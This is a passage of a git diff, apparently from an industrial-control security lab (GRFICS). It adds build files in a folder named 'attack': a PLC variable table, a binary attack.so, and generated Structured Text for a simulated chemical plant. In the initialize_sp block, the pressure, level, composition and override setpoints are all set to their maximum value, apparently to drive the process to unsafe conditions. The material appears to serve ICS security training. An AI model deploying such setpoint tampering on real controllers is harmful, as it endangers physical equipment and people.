+339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; 